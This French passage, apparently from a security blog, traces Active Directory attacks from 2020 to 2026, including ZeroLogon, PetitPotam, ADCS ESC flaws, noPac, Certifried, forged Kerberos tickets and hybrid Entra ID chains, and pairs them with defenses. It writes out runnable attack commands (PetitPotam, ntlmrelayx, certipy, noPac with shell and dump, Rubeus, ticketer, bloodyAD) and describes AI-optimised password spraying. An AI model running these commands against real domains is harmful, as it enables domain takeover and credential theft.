La pandémie de COVID-19 a un impact significatif sur la sécurité AD en 2020. Le passage massif au télétravail force les organisations à exposer des services AD auparavant internes, à déployer rapidement des solutions VPN et d'accès distant, et à relaxer certaines politiques de sécurité pour maintenir la productivité. Les passerelles RD Gateway, les portails ADFS (Active Directory Federation Services) et les services Exchange Online deviennent des points d'entrée privilégiés pour les attaquants. La surface d'attaque AD s'étend considérablement au-delà du périmètre réseau traditionnel, créant de nouvelles opportunités pour les attaques de password spraying, le phishing ciblant les portails d'authentification, et l'exploitation des VPN vulnérables pour accéder au réseau interne et aux contrôleurs de domaine.

Références MITRE ATT&CK

T1210 Exploitation of Remote Services — Exploitation de ZeroLogon via le protocole Netlogon pour compromettre le contrôleur de domaine sans authentification.

Contre-mesures et Remédiation

La protection contre ZeroLogon nécessite l'application immédiate des correctifs Microsoft (KB4571702 et suivants) sur tous les contrôleurs de domaine, la vérification de l'application effective du mode sécurisé Netlogon via la surveillance de l'Event ID 5829 (connexions Netlogon vulnérables), l'activation de la journalisation détaillée des événements Netlogon, et la mise en place de règles de détection réseau pour identifier les tentatives d'exploitation (séquences rapides de requêtes Netlogon avec des challenges à zéro). La segmentation réseau empêchant l'accès direct aux ports RPC des contrôleurs de domaine depuis les segments utilisateurs constitue une défense en profondeur efficace.

2021 — PetitPotam et ADCS, la Révolution des Certificats

PetitPotam : Le Nouveau Vecteur de Coercition d'Authentification

L'année 2021 débute avec la publication de PetitPotam par le chercheur français Gilles Lionel (topotam). PetitPotam exploite l'interface MS-EFSRPC (Encrypting File System Remote Protocol) pour forcer n'importe quelle machine Windows, y compris les contrôleurs de domaine, à s'authentifier vers un serveur contrôlé par l'attaquant. Similaire au PrinterBug dans son concept de coercition d'authentification, PetitPotam présente plusieurs avantages : il ne nécessite aucune authentification dans certaines configurations (variante non authentifiée), il utilise un protocole différent de MS-RPRN (moins susceptible d'être bloqué), et il fonctionne même lorsque le service Print Spooler est désactivé, ce qui était la contre-mesure recommandée contre le PrinterBug.

# PetitPotam - forcer l'authentification d'un DC
python3 PetitPotam.py listener_ip target_ip

# PetitPotam avec authentification
python3 PetitPotam.py -u user -p password -d corp.local listener_ip target_ip

# Relai NTLM vers le service d'enrôlement ADCS
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

Certified Pre-Owned : ADCS ESC1 à ESC8

L'événement le plus significatif de 2021 est la publication du whitepaper « Certified Pre-Owned » par Will Schroeder et Lee Christensen de SpecterOps. Ce document de recherche exhaustif identifie et documente huit classes de vulnérabilités dans Active Directory Certificate Services (ADCS), numérotées ESC1 à ESC8. Ces vulnérabilités transforment fondamentalement le paysage des attaques AD en révélant que le service de certificats, souvent déployé sans attention particulière à la sécurité, constitue un vecteur d'escalade de privilèges, d'usurpation d'identité et de persistance extrêmement puissant.

Certipy : L'Outil d'Audit ADCS

L'outil Certipy, développé par Oliver Lyak, devient rapidement l'outil de référence pour l'audit et l'exploitation des vulnérabilités ADCS. Certipy permet l'énumération automatique des configurations vulnérables, la demande de certificats malveillants, l'authentification avec des certificats compromis et la récupération de hashes NTLM via le protocole PKINIT. Son intégration complète des huit ESC identifiés par SpecterOps en fait un outil indispensable pour les pentesters évaluant la sécurité AD.

# Énumération des vulnérabilités ADCS avec Certipy
certipy find -u user@corp.local -p 'P@ssw0rd' -dc-ip 10.0.0.1

# Exploitation ESC1 - demande de certificat avec SAN arbitraire
certipy req -u user@corp.local -p 'P@ssw0rd' -ca CORP-CA -template VulnTemplate -upn administrator@corp.local

# Authentification avec le certificat obtenu (récupération du hash NT)
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1

# Exploitation ESC8 - relai NTLM vers le service d'enrollment web
certipy relay -ca ca.corp.local -template DomainController

Shadow Credentials : Persistance via msDS-KeyCredentialLink

La technique Shadow Credentials exploite l'attribut msDS-KeyCredentialLink introduit par Windows Hello for Business (WHfB). Un attaquant disposant du droit d'écriture sur cet attribut d'un objet utilisateur ou machine peut y injecter une clé publique qu'il contrôle, puis utiliser cette clé pour s'authentifier via PKINIT et obtenir un TGT au nom de la cible. L'outil Whisker (C#) et pyWhisker (Python) automatisent cette attaque. Shadow Credentials offre un mécanisme de persistance élégant car la modification de l'attribut msDS-KeyCredentialLink n'invalide pas les credentials existants et passe inaperçue dans la plupart des audits de sécurité conventionnels.

Références MITRE ATT&CK

T1649 Steal or Forge Authentication Certificates — Exploitation d'ADCS pour obtenir des certificats permettant l'authentification frauduleuse et la persistance dans le domaine.

Défenses ADCS

La sécurisation d'ADCS nécessite un audit complet de tous les templates de certificats (désactiver les templates avec des SAN modifiables par l'enrollee, restreindre les EKU, limiter les droits d'enrollment), la sécurisation des endpoints d'enrollment web (désactiver l'authentification NTLM, activer EPA), le monitoring des événements ADCS (Event ID 4886, 4887 pour les demandes de certificats) et la surveillance des modifications de l'attribut msDS-KeyCredentialLink. Pour une couverture complète des attaques ADCS, consultez notre article dédié : Attaques ADCS - Active Directory Certificate Services.

2022 — sAMAccountName Spoofing et Certifried : Les Nouvelles Frontières

CVE-2021-42278/42287 : sAMAccountName Spoofing (noPac)

L'année 2022 s'ouvre avec l'exploitation active de la chaîne de vulnérabilités sAMAccountName spoofing, composée de CVE-2021-42278 et CVE-2021-42287, découvertes fin 2021 mais massivement exploitées en 2022. Cette attaque, popularisée sous le nom noPac par le chercheur Sam The Admin, permet à n'importe quel utilisateur de domaine authentifié d'obtenir les privilèges Domain Admin en exploitant une faille dans la manière dont Active Directory gère les noms de comptes machine (sAMAccountName) lors de la demande de tickets Kerberos.

Le mécanisme de l'attaque repose sur deux vulnérabilités combinées. La première (CVE-2021-42278) permet de créer ou renommer un compte machine avec un sAMAccountName identique à celui d'un contrôleur de domaine (sans le suffixe « $ »). La seconde (CVE-2021-42287) fait que le KDC, lorsqu'il ne trouve pas le compte correspondant au nom dans le TGT, ajoute automatiquement le suffixe « $ » et recherche le compte machine du DC. L'attaquant obtient ainsi un TGT qui est traité comme provenant du contrôleur de domaine, lui accordant les privilèges les plus élevés du domaine.

# Exploitation noPac complète (scan + exploitation + dump)
python3 noPac.py corp.local/user:P@ssw0rd -dc-ip 10.0.0.1 -dc-host DC01 --impersonate administrator -dump

# noPac avec obtention d'un shell
python3 noPac.py corp.local/user:P@ssw0rd -dc-ip 10.0.0.1 -dc-host DC01 --impersonate administrator -shell

# Exploitation manuelle étape par étape
# 1. Créer un compte machine
addcomputer.py -computer-name 'SAMTHEADMIN$' -computer-pass 'Password1' corp.local/user:P@ssw0rd

# 2. Effacer le SPN et renommer le compte machine
python3 renameMachine.py -current-name 'SAMTHEADMIN$' -new-name 'DC01' corp.local/user:P@ssw0rd

# 3. Demander un TGT avec le nom du DC
getTGT.py -dc-ip 10.0.0.1 'corp.local/DC01:Password1'

# 4. Restaurer le nom original et obtenir un ticket de service S4U2Self
python3 renameMachine.py -current-name 'DC01' -new-name 'SAMTHEADMIN$' corp.local/user:P@ssw0rd
getST.py -self -impersonate administrator -altservice 'cifs/DC01.corp.local' -k -no-pass -dc-ip 10.0.0.1 'corp.local/DC01'

Certifried (CVE-2022-26923)

La vulnérabilité Certifried (CVE-2022-26923), découverte par Oliver Lyak (auteur de Certipy), exploite la manière dont ADCS associe les certificats aux comptes AD. Lorsqu'un compte machine demande un certificat via un template utilisant l'authentification par certificat basée sur le DNS (dNSHostName), un attaquant peut modifier le dNSHostName d'un compte machine qu'il contrôle pour correspondre à celui du contrôleur de domaine. Le certificat émis sera alors valide pour l'authentification en tant que DC, permettant l'exécution de DCSync et la compromission complète du domaine. Cette vulnérabilité est particulièrement élégante car elle combine l'abus de la création de comptes machine (MachineAccountQuota) avec les vulnérabilités ADCS.

# Certifried - Exploitation avec Certipy
# 1. Créer un compte machine avec le dNSHostName du DC
certipy account create -u user@corp.local -p 'P@ssw0rd' -user 'FAKEPC$' -pass 'FakePass1' -dns dc01.corp.local

# 2. Demander un certificat avec le template Machine
certipy req -u 'FAKEPC$'@corp.local -p 'FakePass1' -ca CORP-CA -template Machine

# 3. Authentification avec le certificat (obtient le hash NT du DC)
certipy auth -pfx dc01.pfx -dc-ip 10.0.0.1

ADCS ESC9 et ESC10

Les recherches ADCS se poursuivent en 2022 avec l'identification de ESC9 et ESC10. ESC9 exploite la possibilité de modifier le mapping de certificat via l'attribut userPrincipalName quand le flag CT_FLAG_NO_SECURITY_EXTENSION est défini sur un template (supprimant l'extension szOID_NTDS_CA_SECURITY_EXT du certificat). ESC10 concerne les configurations de mapping de certificat faibles au niveau du registre de la CA ou du DC, permettant l'usurpation d'identité via des certificats en abusant du mapping basé uniquement sur le UPN ou le SAN sans vérification de l'extension de sécurité. Ces deux ESC illustrent la complexité croissante des interactions entre les configurations ADCS et la sécurité du domaine.

KrbRelayUp : Élévation de Privilèges Locale via Kerberos

L'outil KrbRelayUp, publié par Dec0ne, automatise une chaîne d'attaque complète d'élévation de privilèges locaux en combinant le relai Kerberos avec la RBCD. L'attaque exploite le fait qu'un système joint au domaine peut être contraint de s'authentifier vers lui-même, et cette authentification peut être relayée vers LDAP pour configurer la RBCD, puis exploitée via S4U pour obtenir un ticket de service avec les privilèges les plus élevés sur la machine locale. KrbRelayUp fonctionne sur les systèmes non patchés même lorsque le relai NTLM est bloqué, car il utilise l'authentification Kerberos.

Whisker et Shadow Credentials

L'outil Whisker développé par Elad Shamir simplifie considérablement l'exploitation des Shadow Credentials (msDS-KeyCredentialLink). Whisker permet en une seule commande d'ajouter une clé à l'attribut msDS-KeyCredentialLink d'un objet AD, générant automatiquement le certificat PFX et la commande Rubeus nécessaire pour s'authentifier. La version Python pyWhisker offre les mêmes fonctionnalités pour les attaquants opérant depuis des systèmes Linux.

Références MITRE ATT&CK

T1078.002 Valid Accounts: Domain Accounts — Exploitation de failles de naming et de certificats pour usurper des comptes de domaine légitimes.

Défenses et Correctifs

Microsoft déploie KB5014754 pour renforcer le mapping de certificats (strong certificate mapping), exigeant que les certificats incluent l'extension szOID_NTDS_CA_SECURITY_EXT contenant le SID de l'objet AD. Cette mesure neutralise plusieurs variantes d'ESC9, ESC10 et Certifried. Les organisations doivent activer le mode d'enforcement complet (disponible depuis février 2025) et auditer tous les certificats existants pour la conformité avec le strong mapping. La réduction du MachineAccountQuota à 0 reste une défense fondamentale contre noPac et Certifried.

2023 — Tickets Avancés et SAML : La Sophistication des Attaques Kerberos

Silver SAML : Du On-Premise au Cloud

L'année 2023 marque l'émergence des attaques de Silver SAML, une technique qui illustre parfaitement la convergence entre la sécurité Active Directory on-premise et les environnements cloud. L'attaque Silver SAML exploite la compromission des clés de signature SAML (Security Assertion Markup Language) utilisées par les services de fédération d'identité comme ADFS (Active Directory Federation Services) ou Entra ID (anciennement Azure AD). Contrairement à l'attaque Golden SAML qui nécessite la compromission du serveur ADFS lui-même pour obtenir le certificat de signature, Silver SAML exploite les clés de signature SAML externalisées ou les certificats exportables pour forger des assertions SAML valides accordant un accès non autorisé aux applications cloud fédérées.

L'impact de Silver SAML est considérable car il permet de pivoter d'une compromission Active Directory on-premise vers les services cloud de l'organisation (Microsoft 365, Azure, applications SaaS fédérées) sans déclencher les mécanismes de détection cloud. Les assertions SAML forgées apparaissent comme des authentifications légitimes provenant du fournisseur d'identité autorisé, contournant ainsi l'authentification multifacteur (MFA) et les politiques d'accès conditionnel qui s'appliquent uniquement au moment de l'authentification initiale, pas lors de la validation du jeton SAML.

Diamond Ticket : L'Évolution du Golden Ticket

La technique du Diamond Ticket représente une évolution sophistiquée du Golden Ticket conçue pour contourner les mécanismes de détection modernes. Au lieu de forger un TGT entièrement depuis zéro (comme le Golden Ticket), le Diamond Ticket intercepte un TGT légitime obtenu par un utilisateur réel via le processus d'authentification standard AS-REQ/AS-REP, puis le déchiffre avec le hash krbtgt, modifie le PAC (Privilege Attribute Certificate) pour y injecter des privilèges élevés, et le re-chiffre. Le résultat est un ticket qui possède toutes les métadonnées d'un ticket légitime (timestamps cohérents, numéros de série valides, champs de chiffrement corrects) mais avec des privilèges arbitrairement élevés.

L'avantage majeur du Diamond Ticket par rapport au Golden Ticket est sa résistance aux détections basées sur les anomalies de tickets. Les solutions de sécurité avancées comme Microsoft Defender for Identity détectent les Golden Tickets en identifiant des incohérences dans les métadonnées du ticket (durée de vie inhabituelle, absence d'AS-REQ correspondant, SID incohérent). Le Diamond Ticket, étant basé sur un ticket légitime modifié, ne présente pas ces anomalies et passe les contrôles de validation avec succès.

# Diamond Ticket avec Rubeus
Rubeus.exe diamond /krbkey:aad3b435b51404eeaad3b435b51404ee /user:admin /enctype:aes256 /ticketuser:administrator /ticketuserid:500 /domain:corp.local /dc:DC01.corp.local /groups:512

# Diamond Ticket avec spécification AES256
Rubeus.exe diamond /tgtdeleg /krbkey:aad3b435b51404eeaad3b435b51404ee /ticketuser:administrator /ticketuserid:500 /domain:corp.local /dc:DC01.corp.local /groups:512,519

# Vérification du ticket généré
Rubeus.exe describe /ticket:diamond.kirbi

Sapphire Ticket : La Fusion des Techniques

Le Sapphire Ticket combine les principes du Diamond Ticket avec le protocole S4U2Self pour créer des tickets encore plus furtifs. Au lieu de simplement modifier le PAC d'un ticket existant, le Sapphire Ticket obtient un PAC légitime pour l'utilisateur cible via S4U2Self, puis l'injecte dans un TGT modifié. Le PAC résultant est entièrement valide car il a été généré par le KDC lui-même, rendant la détection par validation de PAC inefficace. Cette technique représente l'état de l'art en matière de forgerie de tickets Kerberos, combinant la furtivité du Diamond Ticket avec l'authenticité d'un PAC généré par le KDC.

UnPAC the Hash

La technique UnPAC the Hash exploite le mécanisme PKINIT de Kerberos pour récupérer le hash NTLM d'un utilisateur à partir d'un certificat valide. Lorsqu'un utilisateur s'authentifie via PKINIT (authentification par certificat), le KDC inclut dans la réponse AS-REP un champ PAC_CREDENTIAL_INFO contenant le hash NTLM de l'utilisateur, chiffré avec la clé de session. L'attaquant disposant d'un certificat valide (obtenu via une vulnérabilité ADCS ou Shadow Credentials) peut ainsi récupérer le hash NTLM de l'utilisateur cible, permettant des attaques Pass-the-Hash traditionnelles et la persistance sans dépendance au certificat. Cette technique est particulièrement puissante car elle permet de convertir l'accès par certificat en accès par hash, contournant les stratégies de révocation de certificats.

Pass-the-Certificate : Perfectionnements

Les techniques de Pass-the-Certificate sont considérablement affinées en 2023, avec des outils permettant l'authentification via PKINIT depuis des systèmes Linux avec des certificats PFX, P12 ou PEM. L'outil Certipy intègre la commande auth qui automatise l'ensemble du processus : présentation du certificat au KDC via PKINIT, obtention d'un TGT, et extraction optionnelle du hash NTLM via UnPAC the Hash. Les frameworks d'attaque comme Impacket ajoutent également le support PKINIT natif dans leurs outils (getTGT.py avec l'option -pfx).

# Pass-the-Certificate avec Impacket
getTGT.py -pfx admin.pfx -dc-ip 10.0.0.1 corp.local/administrator

# Forging de ticket avec ticketer.py
ticketer.py -nthash aad3b435b51404eeaad3b435b51404ee -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain corp.local -spn cifs/server.corp.local administrator

# UnPAC the Hash avec Certipy
certipy auth -pfx admin.pfx -dc-ip 10.0.0.1 -username administrator -domain corp.local

Références MITRE ATT&CK

T1606.002 Forge Web Credentials: SAML Tokens — Forgerie d'assertions SAML pour accéder aux services cloud fédérés depuis une compromission on-premise.

Détection et Défense 2023

La détection des Diamond et Sapphire Tickets nécessite des approches avancées basées sur la comparaison des PAC entre les tickets et les informations réelles du compte (membership de groupes, SID History). L'activation de la validation PAC améliorée (PAC validation) sur les serveurs de ressources et la surveillance des requêtes S4U2Self inhabituelles constituent les meilleures défenses. Pour Silver SAML, la rotation régulière des clés de signature SAML, l'utilisation de modules HSM (Hardware Security Module) pour le stockage des clés et la surveillance des connexions cloud provenant de sources inhabituelles sont essentielles. Consultez notre article approfondi sur le forging de tickets Kerberos pour les techniques de détection avancées.

2024 — ADCS Nouvelle Génération : ESC13, ESC14 et la Convergence Cloud

ADCS ESC13 : Exploitation de l'Issuance Policy et des Groupes OID

L'année 2024 voit l'identification de nouvelles classes de vulnérabilités ADCS avec ESC13 et ESC14. ESC13 exploite la fonctionnalité d'Issuance Policy mapping dans ADCS. Lorsqu'une policy OID est liée à un groupe AD via l'attribut msDS-OIDToGroupLink, tout utilisateur obtenant un certificat incluant cette policy OID se voit automatiquement ajouté au groupe lié pour la durée de validité du certificat. Un attaquant capable de demander un certificat via un template associé à une telle policy peut ainsi obtenir l'appartenance à un groupe privilégié (potentiellement Domain Admins ou Enterprise Admins) de manière transparente et difficile à auditer par les mécanismes de surveillance traditionnels des groupes AD.

ESC14 : Weak Explicit Mapping et Certificats Orphelins

ESC14 exploite les configurations de mapping explicite faibles entre les certificats et les comptes AD. Lorsque le mapping de certificats est configuré en mode « weak » (basé uniquement sur le UPN ou l'email sans vérification de l'extension de sécurité SID), un attaquant peut modifier le UPN de son propre compte pour correspondre à celui d'un administrateur, demander un certificat, puis restaurer son UPN original. Le certificat obtenu reste valide pour l'authentification en tant qu'administrateur car le mapping se base sur le UPN stocké dans le certificat au moment de l'émission, pas sur le UPN actuel du compte. Cette attaque est particulièrement insidieuse car elle ne laisse aucune trace permanente de modification sur le compte de la cible.

# Enumération des vulnérabilités ADCS incluant ESC13/ESC14
certipy find -u user@corp.local -p 'P@ssw0rd' -vulnerable -stdout

# Identification des templates avec Issuance Policy (ESC13)
certipy find -u user@corp.local -p 'P@ssw0rd' -dc-ip 10.0.0.1 -vulnerable

# Exploitation ESC13 - demande de certificat avec policy liée à un groupe
certipy req -u user@corp.local -p 'P@ssw0rd' -ca CORP-CA -template ESC13Template

# Vérification des OID to Group Links
Get-ADObject -Filter {objectClass -eq "msPKI-Enterprise-Oid"} -SearchBase "CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" -Properties msDS-OIDToGroupLink | Where-Object {$_."msDS-OIDToGroupLink"} | Select Name, msDS-OIDToGroupLink

Attaques KDC Proxy

Les attaques ciblant le KDC Proxy (Kerberos Key Distribution Center Proxy) émergent comme un nouveau vecteur en 2024. Le KDC Proxy permet aux clients d'envoyer des requêtes Kerberos encapsulées dans HTTPS lorsqu'ils ne peuvent pas accéder directement aux ports Kerberos (TCP/UDP 88). Cette fonctionnalité, de plus en plus déployée pour supporter le travail à distance, expose le protocole Kerberos à travers les pare-feu et les reverse proxies, créant de nouvelles surfaces d'attaque. Les attaquants exploitent les configurations de KDC Proxy mal sécurisées pour effectuer du password spraying, du Kerberoasting et de l'AS-REP Roasting depuis Internet, contournant les restrictions réseau traditionnelles qui limitaient ces attaques au réseau interne.

LAPS v2 : Recherche de Contournements

Windows LAPS (Local Administrator Password Solution) v2, déployé avec Windows Server 2022 et Windows 11, fait l'objet de recherches intensives en 2024. LAPS v2 améliore significativement la sécurité en supportant le chiffrement des mots de passe dans AD (au lieu du stockage en clair dans l'attribut ms-Mcs-AdmPwd), la rotation automatique, l'historique des mots de passe et l'intégration avec Microsoft Entra ID. Les chercheurs examinent les mécanismes de chiffrement utilisés, les ACL protégeant les attributs msLAPS-Password et msLAPS-EncryptedPassword, et les scénarios de délégation inappropriée qui pourraient permettre à des attaquants d'accéder aux mots de passe LAPS. Des techniques de contournement sont identifiées dans les configurations héritées hybrides où LAPS v1 et v2 coexistent.

Convergence Azure AD / Entra ID et On-Premise

La convergence des environnements hybrides (Active Directory on-premise et Microsoft Entra ID) crée en 2024 de nouvelles chaînes d'attaque complexes. Les attaquants exploitent les agents de synchronisation (Azure AD Connect, Cloud Sync) pour pivoter entre les environnements, compromettant d'abord l'AD on-premise puis utilisant les credentials de synchronisation pour accéder aux ressources cloud, ou inversement. Les techniques incluent l'extraction des credentials de l'agent Azure AD Connect (mot de passe du compte MSOL_ stocké localement), l'abus de la synchronisation de hash de mot de passe (PHS) pour obtenir les hashes des comptes cloud, et l'exploitation du pass-through authentication (PTA) pour intercepter les authentifications en temps réel.

Références MITRE ATT&CK

T1649 Steal or Forge Authentication Certificates — Nouvelles variantes d'exploitation ADCS via ESC13 et ESC14.

T1552.006 Unsecured Credentials: Group Policy Preferences — Recherche de mots de passe et credentials dans les configurations et politiques AD.

Défenses 2024

Les défenses recommandées en 2024 incluent : la migration complète vers Windows LAPS v2 avec chiffrement activé, l'activation du strong certificate mapping (enforcement mode) sur tous les contrôleurs de domaine, l'audit régulier des msDS-OIDToGroupLink pour identifier les policies liées à des groupes privilégiés, la sécurisation des agents de synchronisation Azure AD Connect (serveur dédié, accès restreint, monitoring), et la mise en place d'une surveillance unifiée couvrant à la fois l'environnement on-premise et cloud pour détecter les mouvements latéraux entre les deux environnements.

2025 — L'Ère de l'IA Offensive : BloodyAD et l'Automatisation Intelligente

BloodyAD : La Manipulation Avancée d'Active Directory

L'année 2025 voit la maturation de BloodyAD, un outil Python avancé dédié à la manipulation d'objets Active Directory via les protocoles LDAP et MS-RPC. Développé par CravateRouge, BloodyAD se distingue des outils précédents par sa capacité à effectuer des opérations complexes de modification d'attributs AD qui étaient auparavant réservées aux administrateurs utilisant des outils GUI comme ADSI Edit ou ADUC. L'outil permet l'énumération avancée des droits d'écriture, la modification de SPN pour le Kerberoasting ciblé (targeted Kerberoasting), la manipulation des ACL, la configuration de RBCD, la modification de msDS-KeyCredentialLink pour les Shadow Credentials, et bien plus encore — le tout en ligne de commande avec une interface cohérente et des options de sortie structurées.

# Énumération des objets modifiables par l'utilisateur courant
bloodyAD -u user -p 'P@ssw0rd' -d corp.local --host DC01 get writable

# Targeted Kerberoasting - ajout d'un SPN sur un compte cible
bloodyAD -u user -p 'P@ssw0rd' -d corp.local --host DC01 set object 'CN=Target,CN=Users,DC=corp,DC=local' servicePrincipalName -v 'MSSQLSvc/fake.corp.local:1433'

# Modification d'ACL - ajout de GenericAll pour l'utilisateur courant
bloodyAD -u user -p 'P@ssw0rd' -d corp.local --host DC01 add genericAll 'OU=Admins,DC=corp,DC=local' user

# Configuration de RBCD via BloodyAD
bloodyAD -u user -p 'P@ssw0rd' -d corp.local --host DC01 set object 'CN=TARGET$,CN=Computers,DC=corp,DC=local' msDS-AllowedToActOnBehalfOfOtherIdentity -v 'FAKEPC$'

# Shadow Credentials via BloodyAD
bloodyAD -u user -p 'P@ssw0rd' -d corp.local --host DC01 add shadowCredentials 'CN=victim,CN=Users,DC=corp,DC=local'

GenAI et la Reconnaissance AD Assistée par IA

L'intégration de l'intelligence artificielle générative (GenAI) dans les processus de reconnaissance et d'exploitation AD représente la tendance la plus significative de 2025. Les red teamers et pentesters utilisent les grands modèles de langage (LLM) pour analyser automatiquement les sorties volumineuses de BloodHound, interpréter les ACL complexes, suggérer des chemins d'attaque optimaux et générer des rapports d'audit structurés. Les outils d'IA spécialisés en sécurité AD sont capables d'ingérer les données de SharpHound et de produire des analyses de risque priorisées, identifiant les chemins d'attaque les plus courts et les plus réalistes vers les objectifs de haute valeur.

L'IA est également utilisée pour le password spraying optimisé : les modèles de langage analysent les politiques de mots de passe de l'organisation, les conventions de nommage, les dates significatives (création de l'entreprise, événements récents) et les patterns culturels pour générer des dictionnaires de mots de passe ciblés ayant une probabilité de succès significativement supérieure aux dictionnaires génériques. Cette approche « intelligente » du password spraying réduit le nombre de tentatives nécessaires et minimise le risque de verrouillage de comptes.

ADCS ESC15 : Les Dernières Découvertes

La recherche sur les vulnérabilités ADCS continue en 2025 avec la découverte d'ESC15, une nouvelle classe de vulnérabilités liée à l'interaction entre les Application Policies des certificats et les mécanismes d'authentification Kerberos. ESC15 exploite des configurations où les Application Policies d'un template de certificat peuvent être manipulées par l'enrollee pour obtenir des capacités d'authentification non prévues par les administrateurs. Cette découverte confirme que le surface d'attaque ADCS est loin d'être entièrement cartographiée et que de nouvelles vulnérabilités continueront d'être identifiées dans les années à venir.

Génération Automatique de Chaînes d'Attaque

Les outils d'automatisation de 2025 vont au-delà de la simple identification de chemins d'attaque. Les frameworks de génération automatique de chaînes d'attaque combinent les données de BloodHound avec des moteurs de raisonnement basés sur l'IA pour non seulement identifier les chemins possibles mais aussi générer automatiquement les commandes d'exploitation correspondantes, adaptées à l'environnement spécifique de la cible. Ces outils prennent en compte les solutions de sécurité déployées (EDR, SIEM, MDI) pour sélectionner les techniques les moins susceptibles d'être détectées et proposent des alternatives en cas d'échec d'une étape.

Optimisation du Password Spraying par IA

Le password spraying assisté par IA en 2025 utilise des modèles de langage pour analyser les informations OSINT disponibles sur l'organisation cible et ses employés. L'IA génère des dictionnaires de mots de passe personnalisés en croisant les noms des employés, les dates importantes de l'entreprise, les mots-clés du secteur d'activité, les patterns de mots de passe observés dans des fuites de données publiques, et les exigences de la politique de mots de passe AD (longueur minimale, complexité). Cette approche permet d'atteindre des taux de compromission de 3-5% avec un nombre réduit de tentatives, bien en dessous des seuils de détection et de verrouillage standard.

2026 — Tendances Actuelles et Futur : IA, Quantum et Zero Trust

Outils d'Évaluation AD Automatisés par IA

L'année 2026 marque l'avènement des outils d'évaluation de sécurité Active Directory entièrement pilotés par intelligence artificielle. Ces plateformes de nouvelle génération combinent la collecte automatisée de données (via des agents légers déployés sur les contrôleurs de domaine et les serveurs membres), l'analyse par modèles de machine learning entraînés sur des milliers d'environnements AD compromis, et la génération de rapports exploitables avec des recommandations priorisées par impact et effort de remédiation. Contrairement aux outils traditionnels comme PingCastle ou Purple Knight qui appliquent des règles statiques, les outils IA de 2026 comprennent le contexte métier de l'organisation et adaptent leurs recommandations en conséquence, distinguant les risques théoriques des risques réellement exploitables dans l'environnement spécifique audité.

Machine Learning pour l'Optimisation des Chemins d'Attaque

Les algorithmes de machine learning pour l'optimisation des chemins d'attaque dépassent les capacités des outils de graphe traditionnels comme BloodHound. Les modèles de 2026 intègrent des données temporelles (heures de connexion des utilisateurs, patterns d'authentification, fenêtres de maintenance), des données de détection (capacités des EDR et SIEM déployés, règles de détection connues, temps de réponse moyen du SOC) et des données opérationnelles (durée estimée de chaque étape d'attaque, probabilité de succès, impact potentiel de la détection) pour calculer les chemins d'attaque optimaux en termes de probabilité de succès et de furtivité. Ces modèles peuvent recommander des stratégies d'attaque multi-étapes qui maximisent les chances de compromission tout en minimisant le risque de détection, transformant l'offensive AD en un problème d'optimisation mathématique.

Purple Teaming Automatisé

Le purple teaming automatisé émerge en 2026 comme une pratique de sécurité essentielle. Les plateformes de purple teaming AD déploient automatiquement des scénarios d'attaque réalistes (basés sur les TTPs des groupes APT et de ransomware documentés) dans des environnements AD de production de manière contrôlée, vérifient en temps réel si les détections se déclenchent correctement, et génèrent des rapports de couverture identifiant les gaps de détection. Ces plateformes exécutent en continu des centaines de techniques d'attaque AD (Kerberoasting, DCSync, RBCD, ADCS exploitation, Shadow Credentials, etc.) et mesurent la capacité de l'organisation à détecter et répondre à chaque technique, fournissant un score de maturité de détection AD quantifiable et comparable dans le temps.

Chaînes d'Attaque Cloud-Hybride (Entra ID + On-Prem AD)

Les chaînes d'attaque cloud-hybride deviennent la norme en 2026, reflétant la réalité des environnements d'entreprise modernes où Active Directory on-premise et Microsoft Entra ID (anciennement Azure AD) coexistent et interagissent étroitement. Les attaquants développent des méthodologies systématiques pour exploiter les points de jonction entre les deux environnements : compromission de l'agent Azure AD Connect pour pivoter du on-premise vers le cloud, exploitation des applications d'entreprise Entra ID avec des droits Graph API excessifs pour accéder aux données on-premise synchronisées, et abus des Managed Identities et des Service Principals pour se déplacer latéralement entre les workloads cloud et les ressources on-premise. La surface d'attaque combinée est significativement plus grande que celle de chaque environnement pris isolément, et les équipes de défense doivent développer une visibilité unifiée couvrant les deux environnements.

Considérations Post-Quantiques pour Kerberos

Les considérations post-quantiques pour le protocole Kerberos commencent à être sérieusement étudiées en 2026. Bien que les ordinateurs quantiques capables de casser les algorithmes cryptographiques actuels ne soient pas encore disponibles à grande échelle, la menace « Harvest Now, Decrypt Later » (capturer le trafic Kerberos aujourd'hui pour le déchiffrer avec un futur ordinateur quantique) pousse Microsoft et la communauté de sécurité à planifier la transition vers des algorithmes post-quantiques pour Kerberos. Les discussions portent sur l'intégration d'algorithmes résistants au quantique (CRYSTALS-Kyber pour l'échange de clés, CRYSTALS-Dilithium pour les signatures) dans les futures versions du protocole Kerberos, tout en maintenant la compatibilité avec les environnements existants. La recherche explore également les implications d'un « Quantum Golden Ticket » — un scénario où un attaquant utiliserait un ordinateur quantique pour factoriser les clés RSA des certificats ADCS ou pour dériver les clés Kerberos à partir du trafic réseau capturé.

Impact du Zero Trust sur les Attaques AD

L'adoption croissante des architectures Zero Trust modifie fondamentalement le paysage des attaques AD en 2026. Le principe « Never Trust, Always Verify » réduit la dépendance à l'authentification périmétrique et au réseau interne de confiance, limitant l'impact du mouvement latéral traditionnel. Cependant, les attaquants s'adaptent en ciblant les composants d'infrastructure Zero Trust eux-mêmes : les fournisseurs d'identité (IdP), les proxies d'accès conditionnel, les brokers d'authentification et les solutions de micro-segmentation. La compromission d'un IdP dans une architecture Zero Trust a un impact potentiellement plus dévastateur que la compromission d'un contrôleur de domaine dans une architecture traditionnelle, car l'IdP est le point de confiance central pour l'ensemble des accès de l'organisation. Les attaques évoluent vers des scénarios où l'objectif n'est plus de compromettre le domaine AD lui-même, mais de compromettre les systèmes qui font confiance à AD comme source d'identité.